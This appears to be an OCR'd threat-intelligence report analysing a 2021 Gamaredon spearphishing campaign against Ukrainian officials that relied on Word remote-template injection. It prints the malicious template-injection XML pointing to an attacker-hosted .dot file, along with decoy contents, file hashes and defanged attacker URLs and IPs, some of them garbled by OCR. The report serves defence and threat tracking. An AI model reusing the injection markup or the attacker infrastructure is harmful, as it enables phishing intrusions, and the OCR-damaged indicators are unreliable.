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Key Findings

o Anomali Threat Research discovered a campaign targeting Ukrainian government
officials with malicious files that could be repurposed to target government officials of
other countries.

o We assess with high confidence that this activity was conducted by Russia-sponsored
cyberespionage group Primitive Bear (Gamaredon).

» Primitive Bear was observed distributing .docx files that attempted to download a .dot
file via remote templates.

o The campaign appears to have taken place from January through at least late March
2021, and used decoy documents themed around current events. These documents
also showed that Primitive Bear likely used unauthorized access or illicit purchase of
private documents prior to their publication.

» The final objective of this campaign remains unclear because the remote template
domains were down at the time of discovery.

Overview

Anomali Threat Research identified malicious samples that align with the Russia-sponsored
cyberespionage group Primitive Bear’s (Gamaredon, Winterflounder) tactics, techniques,
and procedures (TTPs).["l The group was distributing .docx files that attempted to download
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.dot files from remote templates. The final objective of this campaign remains unclear as the
remote template domains were down at the time of discovery. We observed Primitive Bear
activity in late 2019, and again in April 2020, during which time they used similar TTPs and
Ukrainian government-themed decoys.?! In those campaigns, Primitive Bear’s decoys
loaded a remote template to drop a .dot file that would determine if the compromised
machine was worthy of a second-stage payload.[!

Primitive Bear, known primarily to focus on Ukraine, has been very active in 2021. However,
the themes of the samples we found, as well as those shared by the security community,
could also be used to target multiple former Union of Soviet Socialist Republic (USSR)
countries.

Details

Anomali Threat Research found malicious .docx files being distributed by Primitive Bear,
likely through spearphishing, that attempted to download remote template .dot files through
template injection. Most of the .docx decoy files were written in Ukrainian, and a minority
written in Russian, and contained content discussing multiple Ukrainian government
agencies, institutions, and public entities, as well as Russian intelligence agencies in the
context of occupied Crimea. Primitive Bear was using specific names of individuals and
entities in their files, relevant to the January through mid-March 2021 timeframe, to make
their malicious files appear more legitimate. This highlights the group’s use of authentic
events to craft likely phishing themes more likely to be effective.

1. Possible

Spearphishing
\ 4
.docx .dot
2. Victim Likely Engages 3. Weaponized .docx 4, Template Injection
Spearphishing Email for Template Injection adds Remote Domain
Activated Containing .dot File

Figure 1 — Observed Infection Chain
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Technical Analysis

The .docx files distributed by Primitive Bear used template injection to add a remote domain
that contained a .dot (Word template) file. In Figure 2, the template injection can be seen
with the TargetMode set to “External,” indicating the file was reaching out to a remote
location. If the connection was made, the .dot file was subsequently downloaded.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?7>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id

="rIdl" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate”
Target="http://hamadryas.online/4857E18C/almost/councilman/rejoice/clank.dot" TargetMode="External"/

Figure 2 — asmopecepam TepmuyHa last 8.2.docx Remote Template Domain Information

The final objective of this campaign remains unclear because the remote template domains
were down at the time of discovery, and we encourage the security community to share if
discovered.

Decoy Analysis

Analyzed File — aBTopedepart TepTnyHa last 8.2.docx
Translated File Name — Tertychna Abstract last 8.2.docx
SHA-256 — 9b6d89ad4e35ffca32c4f44b75c9cc5dd080fd4ce00a117999c9ad8e231d4418
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HAITIOHAJTbHA AKAJTEMLI HAVK VKPATHH
HCTATYT ICTOPH VKPATHHI

TEPTHYHA Axna BikTopisna

VIIK 94:327]:659.4](477:497.2)"1991/201 8"(043.3)

ITYBJITUHA JHILTOMATIS
B YKPATHCHKO-BOJITAPChKHX BITHOCHHAX
(1991-2018 pp.)

Figure 3 — asmopeghepam TepmuyHa last 8.2.docx (Translated from Ukrainian: Tertychna
Abstract last 8.2.docx)

MATIONAL ACADEMY CllF SCIEMCES OF UKRAINE
INSTITUTE OF HISTORY OF UKRAINE
TERTYCHMNA Anna Viktorivna
UDC 24: 327): 659.4] (477: 497.2) "1991/2018" (043.3)
DISSERTATION

PUBLIC DIPLOMACY
IN UKRAINIAN-BULGARIAN RELATIONS (1991-2018)

07.00.02 - World history
ABSTRACT
of the dissertation for the degree

candidate of historical sciences

Kyiv -2021
Figure 4 — Tertychna Abstract last 8.2.docx (Translated from Ukrainian)
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Tertychna Abstract last 8.2.docx, shown above in Figures 3 and 4, is a 26 page abstract
of a Ukrainian dissertation discussing modern relations between Ukraine and Bulgaria. Most
of the document is in Ukrainian, however, the last two and one-half pages have English
summaries. Tertychna Abstract last 8.2.docx appears to be a shortened version of
another Primitive Bear file called aucepTrauis 8.02.21.docx (from Ukrainian: Dissertation
8.02.21.docx), which was also mentioned by the security community, shown in Figures 5
and 6 below.[
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HAINIOHAJIBHA AKAJIEMISI HAYK YKPATHU
IHCTHUTYT ICTOPIi YKPATHH

Kpamidikamifina HaykoBa mpans
HAa IMpaBax PyKOIMHCY

VK 94:327]:659.4](477:497.2)"1991/2018"(043.3)

TEPTHYHA Auua BikTopieua

JHCEPTAIIIA
«ITYBJIYHA JUILTOMATIA
B YKPATHCBKO-BOJIT APCHbKHAX BIJTHOCHHAX
(1991-2018 pp.)»

07.00.02 — BeecsiTus icropin

INonacthes Ha 3100y TTA HAYKOBOIO CTYNCHA KAHHIATA ICTOPHYIHAX HAYK.
Jucepraiisa MICTHTE Pe3yNIBTATH BIACHHAX JOCHLDKEHb, BUKOpHCTANNS 11eH, Pe3syIbTATIR 1
TEKCTIB 1HIIHX aBTOPIB MalOTh MOCHIAHHS Ha BITNOBITHE JEKEPENO

-

A. B. Teprnuna

HaykoBuii KepiBHHK:
MATSU Ipnna bopuciena,
NOKTOP ICTOPHYHUX HAaYK, npodecop

Figure 5 — ducepmauis 8.02.21.docx (Translated from Ukrainian: Dissertation 8.02.21.docx)
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NATIOMAL ACADEMY OF SCIENCES OF UKRAINE
INSTITUTE OF HISTORY OF UKRAINE
Qualifying scientific work
on the rights of the manuscript
UDC 24:327): 659.4] (477: 497.2) "1991/2018" (043.3)

TERTYCHNA Anna Viktorivha
DISSERTATION

"PUBLIC DIPLOMACY IN UKRAINIAN-BULGARIAN RELATIONS (1991-2018)"
07.00.02 - World history

Applied for the degree of Candidate of Historical Sciences. The dissertation contains the results
of own research. The use of ideas, results and texts by other authors have references to the
relevant source

AN Tertychna
Scientific adviser:
MATYASH Iryna Borysivna,
doctor of historical sciences, professor
Kyiv —2021
Figure 6 — Dissertation 8.02.21.docx (Translated from Ukrainian, Page 1/282)

These two documents (aBTopedepaT TepTuyHa last 8.2.docx and aucepTauis
8.02.21.docx) appear to be legitimate documents that were weaponized by Primitive Bear
for template injection. The group likely procured them through illicit purchase or previous
compromise. We found the full document was published by its author, Anna, on the
literature repository site, chtyvo.org[.Jua.l’! The file was uploaded to the site on March 7,
2021, but both of the analyzed file names suggested a date of February 8, 2021 (8.2.docx)
or called it out explicitly. This indicates that Primitive Bear has used access to private
Ukrainian documents, weaponized them, and distributed them prior to the authorized
publication of said documents.

In hindsight, the decision for Primitive Bear to use a Ukrainian and Bulgarian-themed
dissertation comes at an interesting time for Russian and Bulgarian relations. This is due to
the Bulgarian government arresting six of its own members who were charged with spying
for the Russian government, on March 19, 2021, according to the Bulgarian prosecutors’
statement.[®! However, Russia is known for combining cyber and real-world operations, and
has been using this hybrid warfare to target Georgia in 2008 and Ukraine since at least the
2014 annexation of Crimea.l”l Therefore, it would not be unlikely to think that Primitive Bear
was using Bulgaria-themed decoys before the media knew of the events, thus making the
information more relevant to Ukrainian officials who knew what was transpiring.

Analyzed File — JOMNOBIOHA 3AIMNCKA.docx
Translated File Name — REPORT NOTE.docx
SHA-256 — 63da0b2abb744a5c92c3a1fff2c3e5940f5c969890f3f16fd8dcala1363da494
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BATBEP/IKYIO

TTepun 3acTYITHHEK
T'eHepAILHOI 0 IIPOKYpOpa
Ykpaiiu

P. Muxamok

«  »JHTOore2021poky

PO3 LI
YIPARHHA HATJIAAY ¥ KPHMIHATEHOMY NP ORACEeHHI
T'eHepaTLHOI NPOKYPATYPH YKpaiHn

Ha pHKOHaHHA 3aBjabHs Odicy I'eHepambHoro mnpokypopa eia 20.01.2021

x0Ai 30poHHOT0 KOH{UIKTY Ha cXoji YKpaiHH.
Figure 7 — [JOlNOBIAHA 3ATICKA.docx (from Ukrainian: REPORT NOTE.docx)
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APPROVED

First Deputy
Prosecutor General
of Ukraine
R. Mikhalyuk
" "February 2021

SECTION
Department of Supervision in Criminal Proceedings
of the Prosecutor General's Office of Ukraine

In pursuance of the task of the Office of the Prosecutor General dated 20.01.2021 Ne
18/2 / 3-323 vyh-1870kv-21, the General Prosecutor's Office of Ukraine studied the state of
organization of procedural guidance of pre-trial investigation in criminal proceedings
investigated by investigators of the Security Service of Ukraine, and in which there is
announced search for persons suspected of committing crimes under # 258-258-3, 260 of the
Criminal Code of Ukraine, in connection with their participation in the activities of terrorist
organizations "DPR" [“Donetsk People's Republic”] and "LPR" [“Luhansk People's Republic”] and
non-statutory armed groups during the armed conflict in eastern Ukraine.

1. The state of compliance with the requirements of Article 214 of the CPC of Ukraine
during the consideration of applications and notifications of crimes under Art. 258 - 258-3,
260 of the Criminal Code of Ukraine, in connection with participation in terrorist
organizations "DPR" and "LPR" and not provided by law armed formations during the armed
conflict in eastern Ukraine, registration in the Unified Register of pre-trial investigations, the
beginning of pre-trial investigation, appointment of procedural manager

Du|ring 2014-2020, the National Police received 6 applications and notifications about
the participation of persons in the terrorist organizations "DPR" and "LPR" and non-statutory
armed groups during the armed conflict in eastern Ukraine, information about which are
included in the Unified Register of pre-trial investigations (hereinafter - ERDR) on the grounds
of a criminal offense under Art. 260 of the Criminal Code of Ukraine.

Figure 8 ~ REPORT NOTE.docx (Translated from Ukrainian) page 1/5
REPORT NOTE.docx, shown in Figures 7 and 8 above, purports to be an internal note by
the Prosecutor General’s Office of Ukraine dated February 2021. The file includes pre-trial
investigative rulesets regarding suspected terrorists. These fighters, from unrecognized
regions of Donetsk People’s Republic (DPR) and Luhansk People’s Republic (LPR), have
been accused of fighting against the Ukrainian government. Russia has been the de-facto
controller of DPR and LPR since the regions simultaneously declared their independence
from Ukraine in 2014, which makes the use of these regions ideal in decoy documents for
Primitive Bear.

The escalating tensions between Russia and Ukraine in 2021 add incentive for mentioning
DPR and LPR. On January 28, 2021, DPR and LPR groups presented a doctrine dubbed

“‘Russian Donbass,” which stated the groups’ collective desire to rejoin Russia “in order to
return to our historical roots.”®! In the subsequent months, European monitors reported an
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increase in Russian troop movement along the Ukraine-Russia border. Tensions boiled over
in the DPR on March 30, 2021, with exchanging artillery and machine-gun fire between the
factions resulting in four Ukrainians killed and one wounded.® This was another strong
example of Primitive Bear samples themed around real-world conflicts before a significant
event occurred, a strong indication of potential hybrid warfare.

Analyzed File — incoming.docx
SHA-256 — 82fe93b52ae5f12fad99fc533324cbf680f5777cc67b9f30dd2addeeee7527f8

HoOpblii 1eHb.
XoTen obOpamircs K BaM 3a rioMombio.

Mens 30BYT 2MIUTE BapHeRr, #HMBY B baxuHcapae. 5 coceq Pycrema
CeiimvemeroBa kKotoporo B 2020 roay apectrosana PCE o jeny Xusb vr-
Taxpup.

Mensa HecKOJIBKO pa3 BbI3bIBATH JaBaTh IokaszaHua B @ CD.

€CJIH HE CTaHY JdBdTh HYAHDIE CIEACTBHIO MNOKAZaHHA MEHA TOME IMOCAIAT.
S xoTen BbiexaTh Ha MATEPHK., HO CIENOEBATENDL CI'I‘D'ﬁ])ﬂJ'I YV MEHA ITACTIOPT.

BbIEXATh HA YKpaHHy 0e3 racriopTa.
Figure 9 — incoming.docx

Good day,
| would like to ask you for help.

My name is Emil Variev, | live in Bakhchisarail | am a neighbor of Rustem
Seytmemetov, who was arrested by the FSB in 2020 in relation to the Hizb ut-

Tahrir case.

| was summoned several times to testify at the FSB.

The investigator told me in the face that | am a terrorist just like Rustem, and

if | don't give the testimony necessary for the investigation, they'll jail me too.

| wanted to go to the mainland, but the investigator took my passport from me.

Tell me who | can turn to for help in Crimea or how to go to Ukraine without a passport.

Figure 10 — incoming.docx (Translated from Russian)

The .docx file shown in Figures 9 and 10 above is a letter allegedly from Emil Variev, a
neighbor of Rustem Seytmemetoy, in occupied Crimea. He referenced how Russia’s
Federal Security Service (FSB) arrested him in 2020 in relation to the Hizb ut-Tahrir
(extremist aim to unite all Muslim countries) case. Rustem Seytmemetov is just one of three
individuals who were arrested in what Crimeans refer to as “the so-called third
Bakhchisaray Hizb ut-Tahrir case,” and they are expected to remain under arrest until April
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22, 2021.1'%1 While the decoy did not state an intended recipient, the context appears
directed towards Ukrainian authorities. This is another example of Primitive Bear using
documents to coincide with real-world events.

Conclusion

Primitive Bear is motivated by cyberespionage (data theft, information gathering), and this
campaign demonstrates their specific targeting of regional foes with what often appears to
be private documents likely obtained by illicit means. We have observed Primitive Bear
using malicious .docx files to distribute .dot files for over a year, however, the remote
template domains used in this campaign were down at the time of discovery. Therefore, the
final payload of this campaign remains unclear at the time of this writing.

MITRE TTPs

Masquerading - T1036

Phishing - T1566

Spearphishing Attachment - T1566.001
Template Injection - T1221

User Execution - T1204

User Execution: Malicious File - T1204.002
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http://download[.]logins
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http://download[.]logins.online/wsusa

http://email-smtp[.]Jonline/

http://email-smtp[.Jonline/preceding/
http://email-smtp[.Jonline/preceding/rbfwaljtawm.dot
http://word-expert[.]Jonline/
http://word-expert[.Jonline/september/
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http://mail-check].]Jru/prediction.dot

http://mail-check[.]Jru/pre.dot

http://mail-check[.]Jru/barrier.dot

http://office360-expert[.Jonline
http://office360-expert[.Jonline/intake
http://office360-expert[.Jonline/intake/pfJwhBY.dot
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IPs

172.67.136[.]62
104.21.48[.]186
185.119.58].]61
195.161.114[.]130
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